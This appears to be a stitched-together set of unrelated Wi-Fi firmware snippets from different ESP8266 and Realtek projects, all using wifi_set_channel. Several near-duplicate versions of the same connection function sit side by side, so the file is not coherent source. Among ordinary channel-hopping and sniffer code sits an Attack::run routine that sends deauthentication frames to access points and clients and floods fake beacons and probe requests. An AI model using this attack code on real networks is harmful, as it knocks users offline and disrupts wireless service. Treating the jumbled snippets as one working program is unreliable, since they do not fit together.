void channelHop(void *arg) { // 1 - 13 channel hopping uint8 new_channel = wifi_get_channel() % 12 + 1; os_printf("** hop to %d **\n", new_channel); wifi_set_channel(new_channel); }
void main_task(void *pvParameters) { DBG("main task..."); gpio_init(); #ifndef TEST_DATA //unsigned char mac[] = {0x00, 0xF4, 0xB9, 0x6A, 0x32, 0xED}; //wifi_promiscuous_set_mac(mac); wifi_promiscuous_enable(1); #ifdef FIXED_CHANNEL wifi_set_channel(FIXED_CHANNEL); #endif #endif #ifdef TEST_DATA unsigned char mac[6]; int i; for (i; i < 6; i++) { mac[i] = (unsigned char) i; } while (1) { uart_tx(0xff, 0xee, -14, (char *) mac, 10, 0x10203040); vTaskDelay(1000 / portTICK_RATE_MS); } #endif vTaskSuspend(NULL); }
void ICACHE_FLASH_ATTR sniffer_system_init_done(void) { // Set up promiscuous callback wifi_set_channel(channel); wifi_promiscuous_enable(0); wifi_set_promiscuous_rx_cb(promisc_cb); wifi_promiscuous_enable(1); }
int ESP8266WiFiClass::begin(const char* ssid, const char *passphrase, int32_t channel, uint8_t bssid[6]){ _useClientMode = true; if(_useApMode) { // turn on AP+STA mode mode(WIFI_AP_STA); } else { // turn on STA mode mode(WIFI_STA); } if(!ssid || *ssid == 0x00 || strlen(ssid) > 31) { // fail SSID to long or missing! return WL_CONNECT_FAILED; } if(passphrase && strlen(passphrase) > 63) { // fail passphrase to long! return WL_CONNECT_FAILED; } struct station_config conf; strcpy(reinterpret_cast<char*>(conf.ssid), ssid); if (passphrase) { strcpy(reinterpret_cast<char*>(conf.password), passphrase); } else { *conf.password = 0; } if (bssid) { conf.bssid_set = 1; memcpy((void *) &conf.bssid[0], (void *) bssid, 6); } else { conf.bssid_set = 0; } ETS_UART_INTR_DISABLE(); wifi_station_set_config(&conf); wifi_station_connect(); ETS_UART_INTR_ENABLE(); if(channel > 0 && channel <= 13) { wifi_set_channel(channel); } if(!_useStaticIp) wifi_station_dhcpc_start(); return status(); }
static void promisc_test_all(int duration, unsigned char len_used) { int ch; unsigned int start_time; struct eth_frame *frame; eth_buffer.head = NULL; eth_buffer.tail = NULL; wifi_enter_promisc_mode(); wifi_set_promisc(RTW_PROMISC_ENABLE_2, promisc_callback_all, len_used); for(ch = 1; ch <= 13; ch ++) { if(wifi_set_channel(ch) == 0) printf("\n\n\rSwitch to channel(%d)", ch); start_time = xTaskGetTickCount(); while(1) { unsigned int current_time = xTaskGetTickCount(); if((current_time - start_time) < (duration * configTICK_RATE_HZ)) { frame = retrieve_frame(); if(frame) { int i; printf("\n\rTYPE: 0x%x, ", frame->type); printf("DA:"); for(i = 0; i < 6; i ++) printf(" %02x", frame->da[i]); printf(", SA:"); for(i = 0; i < 6; i ++) printf(" %02x", frame->sa[i]); printf(", len=%d", frame->len); vPortFree((void *) frame); } else vTaskDelay(1); //delay 1 tick } else break; } } wifi_set_promisc(RTW_PROMISC_DISABLE, NULL, 0); while((frame = retrieve_frame()) != NULL) vPortFree((void *) frame); }
void user_init(void) { #if LIGHT_DEVICE #elif LIGHT_SWITCH uart_init(115200,115200); wifi_set_opmode(STATION_MODE); wifi_set_channel(1); //Initialize DNS server for captive portal //captdnsInit(); //Initialize espfs containing static webpages //espFsInit((void*)(webpages_espfs_start)); //Initialize webserver //httpdInit(builtInUrls, 80); //SEND ACTION COMMAND ACCORDING TO GPIO STATUS system_init_done_cb(light_switch_action); #endif }
/** * Start Wifi connection * if passphrase is set the most secure supported mode will be automatically selected * @param ssid const char* Pointer to the SSID string. * @param passphrase const char * Optional. Passphrase. Valid characters in a passphrase must be between ASCII 32-126 (decimal). * @param bssid uint8_t[6] Optional. BSSID / MAC of AP * @param channel Optional. Channel of AP * @param connect Optional. call connect * @return */ wl_status_t ESP8266WiFiSTAClass::begin(const char* ssid, const char *passphrase, int32_t channel, const uint8_t* bssid, bool connect) { if(!WiFi.enableSTA(true)) { // enable STA failed return WL_CONNECT_FAILED; } if(!ssid || *ssid == 0x00 || strlen(ssid) > 32) { // fail SSID too long or missing! return WL_CONNECT_FAILED; } int passphraseLen = passphrase == nullptr ? 0 : strlen(passphrase); if(passphraseLen > 64) { // fail passphrase too long! return WL_CONNECT_FAILED; } struct station_config conf; conf.threshold.authmode = (passphraseLen == 0) ? AUTH_OPEN : (_useInsecureWEP ? AUTH_WEP : AUTH_WPA_PSK); if(strlen(ssid) == 32) memcpy(reinterpret_cast<char*>(conf.ssid), ssid, 32); //copied in without null term else strcpy(reinterpret_cast<char*>(conf.ssid), ssid); if(passphrase) { if (passphraseLen == 64) // it's not a passphrase, is the PSK, which is copied into conf.password without null term memcpy(reinterpret_cast<char*>(conf.password), passphrase, 64); else strcpy(reinterpret_cast<char*>(conf.password), passphrase); } else { *conf.password = 0; } conf.threshold.rssi = -127; conf.open_and_wep_mode_disable = !(_useInsecureWEP || *conf.password == 0); if(bssid) { conf.bssid_set = 1; memcpy((void *) &conf.bssid[0], (void *) bssid, 6); } else { conf.bssid_set = 0; } struct station_config conf_compare; if(WiFi._persistent){ wifi_station_get_config_default(&conf_compare); } else { wifi_station_get_config(&conf_compare); } if(sta_config_equal(conf_compare, conf)) { DEBUGV("sta config unchanged"); } else { ETS_UART_INTR_DISABLE(); if(WiFi._persistent) { wifi_station_set_config(&conf); } else { wifi_station_set_config_current(&conf); } ETS_UART_INTR_ENABLE(); } ETS_UART_INTR_DISABLE(); if(connect) { wifi_station_connect(); } ETS_UART_INTR_ENABLE(); if(channel > 0 && channel <= 13) { wifi_set_channel(channel); } if(!_useStaticIp) { wifi_station_dhcpc_start(); } return status(); }
int simple_config_test(void) { int channel = 1; int ret = SC_SUCCESS; unsigned int start_time; int is_need_connect_to_AP = 0; int fix_channel = 0; int delta_time = 0; wifi_set_promisc(RTW_PROMISC_ENABLE, simple_config_callback, 1); start_time = xTaskGetTickCount(); printf("\n\r"); wifi_set_channel(channel); while (1) { vTaskDelay(50); //delay 0.5s to release CPU usage simple_config_cmd_current_time = xTaskGetTickCount(); if (simple_config_cmd_current_time - simple_config_cmd_start_time < ((120 + delta_time)*configTICK_RATE_HZ)) { unsigned int current_time = xTaskGetTickCount(); if (((current_time - start_time)*1000 /configTICK_RATE_HZ < 100) || (is_fixed_channel == 1)) { if((is_fixed_channel == 0)&&(!((fix_channel = promisc_get_fixed_channel(g_bssid,g_ssid,&g_ssid_len))== 0))){ //printf("\r\n in simple_config_test fix channel = %d ",fix_channel); is_fixed_channel = 1; fixed_channel_num = fix_channel; wifi_set_channel(fix_channel); } if (simple_config_result == 1) { is_need_connect_to_AP = 1; is_fixed_channel = 0; break; } if (simple_config_result == -1) { printf("\r\nsimple_config_test restart for result = -1"); delta_time = 60; wifi_set_channel(1); is_need_connect_to_AP = 0; is_fixed_channel = 0; fixed_channel_num = 0; memset(g_ssid, 0, 32); g_ssid_len = 0; simple_config_result = 0; g_security_mode = 0xff; rtk_restart_simple_config(); } if (simple_config_result == -2) { printf("\n\rThe APP or client must have pin!\n"); break; } } else { channel++; if ((1 <= channel) && (channel <= 13)) { if (wifi_set_channel(channel) == 0) { start_time = xTaskGetTickCount(); printf("\n\rSwitch to channel(%d)\n", channel); } } else { channel = 1; if (wifi_set_channel(channel) == 0) { start_time = xTaskGetTickCount(); printf("\n\rSwitch to channel(%d)\n", channel); } } } } else { ret = SC_NO_CONTROLLER_FOUND; break; } } wifi_set_promisc(RTW_PROMISC_DISABLE, NULL, 0); if (is_need_connect_to_AP == 1) { int tmp_res = SC_connect_to_AP(); if (SC_SUCCESS == tmp_res) { if(-1 == SC_send_simple_config_ack()) ret = SC_UDP_SOCKET_CREATE_FAIL; } else { return tmp_res; } } else { ret = SC_NO_CONTROLLER_FOUND; } deinit_test_data(); return ret; }
static void promisc_test_all(int duration, unsigned char len_used) { int ch; unsigned int start_time; struct eth_frame *frame; eth_buffer.head = NULL; eth_buffer.tail = NULL; wifi_enter_promisc_mode(); wifi_set_promisc(RTW_PROMISC_ENABLE_2, promisc_callback_all, len_used); for(ch = 1; ch <= 13; ch ++) { if(wifi_set_channel(ch) == 0) printf("\n\n\rSwitch to channel(%d)", ch); start_time = xTaskGetTickCount(); while(1) { unsigned int current_time = xTaskGetTickCount(); if((current_time - start_time) < (duration * configTICK_RATE_HZ)) { frame = retrieve_frame(); if(frame) { int i; printf("\n\rTYPE: 0x%x, ", frame->type); printf("DA:"); for(i = 0; i < 6; i ++) printf(" %02x", frame->da[i]); printf(", SA:"); for(i = 0; i < 6; i ++) printf(" %02x", frame->sa[i]); printf(", len=%d", frame->len); printf(", RSSI=%d", frame->rssi); #if CONFIG_INIC_CMD_RSP if(inic_frame_tail){ if(inic_frame_cnt < MAX_INIC_FRAME_NUM){ memcpy(inic_frame_tail->da, frame->da, 6); memcpy(inic_frame_tail->sa, frame->sa, 6); inic_frame_tail->len = frame->len; inic_frame_tail->type = frame->type; inic_frame_tail++; inic_frame_cnt++; } } #endif vPortFree((void *) frame); } else vTaskDelay(1); //delay 1 tick } else break; } #if CONFIG_INIC_CMD_RSP if(inic_frame){ inic_c2h_msg("ATWM", RTW_SUCCESS, (char *)inic_frame, sizeof(struct inic_eth_frame)*inic_frame_cnt); memset(inic_frame, '\0', sizeof(struct inic_eth_frame)*MAX_INIC_FRAME_NUM); inic_frame_tail = inic_frame; inic_frame_cnt = 0; rtw_msleep_os(10); } #endif } wifi_set_promisc(RTW_PROMISC_DISABLE, NULL, 0); while((frame = retrieve_frame()) != NULL) vPortFree((void *) frame); }
/** * Start Wifi connection * if passphrase is set the most secure supported mode will be automatically selected * @param ssid const char* Pointer to the SSID string. * @param passphrase const char * Optional. Passphrase. Valid characters in a passphrase must be between ASCII 32-126 (decimal). * @param bssid uint8_t[6] Optional. BSSID / MAC of AP * @param channel Optional. Channel of AP * @param connect Optional. call connect * @return */ wl_status_t ESP8266WiFiSTAClass::begin(const char* ssid, const char *passphrase, int32_t channel, const uint8_t* bssid, bool connect) { if(!WiFi.enableSTA(true)) { // enable STA failed return WL_CONNECT_FAILED; } if(!ssid || *ssid == 0x00 || strlen(ssid) > 31) { // fail SSID too long or missing! return WL_CONNECT_FAILED; } if(passphrase && strlen(passphrase) > 63) { // fail passphrase too long! return WL_CONNECT_FAILED; } struct station_config conf; strcpy(reinterpret_cast<char*>(conf.ssid), ssid); if(passphrase) { strcpy(reinterpret_cast<char*>(conf.password), passphrase); } else { *conf.password = 0; } if(bssid) { conf.bssid_set = 1; memcpy((void *) &conf.bssid[0], (void *) bssid, 6); } else { conf.bssid_set = 0; } struct station_config current_conf; wifi_station_get_config(¤t_conf); if(sta_config_equal(current_conf, conf)) { DEBUGV("sta config unchanged"); return status(); } ETS_UART_INTR_DISABLE(); if(WiFi._persistent) { wifi_station_set_config(&conf); } else { wifi_station_set_config_current(&conf); } if(connect) { wifi_station_connect(); } ETS_UART_INTR_ENABLE(); if(channel > 0 && channel <= 13) { wifi_set_channel(channel); } if(!_useStaticIp) { wifi_station_dhcpc_start(); } return status(); }
void Attack::run() { unsigned long currentMillis = millis(); /* =============== Deauth Attack =============== */ if (isRunning[0] && currentMillis - prevTime[0] >= 1000) { if (debug) Serial.print("running " + (String)attackNames[0] + " attack..."); prevTime[0] = millis(); for (int a = 0; a < apScan.results; a++) { if (apScan.isSelected(a)) { Mac _ap; int _ch = apScan.getAPChannel(a); _ap.set(apScan.aps._get(a)); wifi_set_channel(_ch); int _selectedClients = 0; for (int i = 0; i < clientScan.results; i++) { if (clientScan.getClientSelected(i)) { _selectedClients++; /*if (settings.channelHop) { for (int j = 1; j < maxChannel; j++) { wifi_set_channel(j); buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason ); if (send()) packetsCounter[0]++; buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason ); if (send()) packetsCounter[0]++; } } else {*/ sendDeauths(_ap, clientScan.getClientMac(i)); //} } } if (_selectedClients == 0) { Mac _client; _client.set(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF); sendDeauths(_ap, _client); } } } stati[0] = (String)packetsCounter[0] + "pkts/s"; packetsCounter[0] = 0; if (debug) Serial.println(" done"); if (settings.attackTimeout > 0) { attackTimeoutCounter[0]++; if (attackTimeoutCounter[0] > settings.attackTimeout) stop(0); } } /* =============== Beacon Attack =============== */ int beaconsPerSecond = 10; if(settings.beaconInterval) beaconsPerSecond = 1; if (isRunning[1] && currentMillis - prevTime[1] >= 1000/beaconsPerSecond) { if (debug) Serial.print("running " + (String)attackNames[1] + " attack..."); prevTime[1] = millis(); for (int a = 0; a < ssidList.len; a++) { buildBeacon(beaconAdrs._get(a), ssidList.get(a), channels[a], ssidList.isEncrypted(a)); if (send()) packetsCounter[1]++; } stati[1] = (String)(packetsCounter[1] * beaconsPerSecond) + "pkts/s"; packetsCounter[1] = 0; macListChangeCounter++; if(settings.macInterval > 0){ if (macListChangeCounter / beaconsPerSecond >= settings.macInterval) generate(); } if (debug) Serial.println(" done"); if (settings.attackTimeout > 0) { attackTimeoutCounter[1]++; if (attackTimeoutCounter[1] / beaconsPerSecond > settings.attackTimeout) stop(1); } } /* =============== Probe Request Attack =============== */ if (isRunning[2] && currentMillis - prevTime[2] >= 1000) { if (debug) Serial.print("running " + (String)attackNames[2] + " attack..."); prevTime[2] = millis(); for (int a = 0; a < ssidList.len; a++) { buildProbe(ssidList.get(a), beaconAdrs._get(a)); if(send()) packetsCounter[2]++; if(send()) packetsCounter[2]++; } stati[2] = (String)(packetsCounter[2]) + "pkts/s"; packetsCounter[2] = 0; macListChangeCounter++; if(settings.macInterval > 0){ if (macListChangeCounter >= settings.macInterval) generate(); } if (debug) Serial.println("done"); if (settings.attackTimeout > 0) { attackTimeoutCounter[2]++; if (attackTimeoutCounter[2] > settings.attackTimeout) stop(2); } } //Random-Mode Interval if((isRunning[1] || isRunning[2]) && randomMode && currentMillis - randomTime >= 1000){ randomTime = millis(); if(randomCounter >= randomInterval){ if(debug) Serial.println(" generate random SSIDs"); ssidList.clear(); ssidList._random(); randomCounter = 0; ssidChange = true; } else randomCounter++; } }
void rthw_wifi_channel_set(int channel) { wifi_set_channel(channel); }
/** * Start Wifi connection * if passphrase is set the most secure supported mode will be automatically selected * @param ssid const char* Pointer to the SSID string. * @param passphrase const char * Optional. Passphrase. Valid characters in a passphrase must be between ASCII 32-126 (decimal). * @param bssid uint8_t[6] Optional. BSSID / MAC of AP * @param channel Optional. Channel of AP * @param connect Optional. call connect * @return */ wl_status_t ESP8266WiFiSTAClass::begin(const char* ssid, const char *passphrase, int32_t channel, const uint8_t* bssid, bool connect) { if(!WiFi.enableSTA(true)) { // enable STA failed return WL_CONNECT_FAILED; } if(!ssid || *ssid == 0x00 || strlen(ssid) > 31) { // fail SSID too long or missing! return WL_CONNECT_FAILED; } if(passphrase && strlen(passphrase) > 64) { // fail passphrase too long! return WL_CONNECT_FAILED; } struct station_config conf; strcpy(reinterpret_cast<char*>(conf.ssid), ssid); if(passphrase) { if (strlen(passphrase) == 64) // it's not a passphrase, is the PSK, which is copied into conf.password without null term memcpy(reinterpret_cast<char*>(conf.password), passphrase, 64); else strcpy(reinterpret_cast<char*>(conf.password), passphrase); } else { *conf.password = 0; } conf.threshold.rssi = -127; // TODO(#909): set authmode to AUTH_WPA_PSK if passphrase is provided conf.threshold.authmode = AUTH_OPEN; if(bssid) { conf.bssid_set = 1; memcpy((void *) &conf.bssid[0], (void *) bssid, 6); } else { conf.bssid_set = 0; } struct station_config conf_compare; if(WiFi._persistent){ wifi_station_get_config_default(&conf_compare); } else { wifi_station_get_config(&conf_compare); } if(sta_config_equal(conf_compare, conf)) { DEBUGV("sta config unchanged"); } else { ETS_UART_INTR_DISABLE(); if(WiFi._persistent) { wifi_station_set_config(&conf); } else { wifi_station_set_config_current(&conf); } ETS_UART_INTR_ENABLE(); } ETS_UART_INTR_DISABLE(); if(connect) { wifi_station_connect(); } ETS_UART_INTR_ENABLE(); if(channel > 0 && channel <= 13) { wifi_set_channel(channel); } if(!_useStaticIp) { wifi_station_dhcpc_start(); } return status(); }
void channelHop(xTimerHandle pxTimer) { // 1 - 13 channel hopping uint8 new_channel = 10; //wifi_get_channel() % 13 + 1; DBG(" --- hop to %d", new_channel); wifi_set_channel(new_channel); }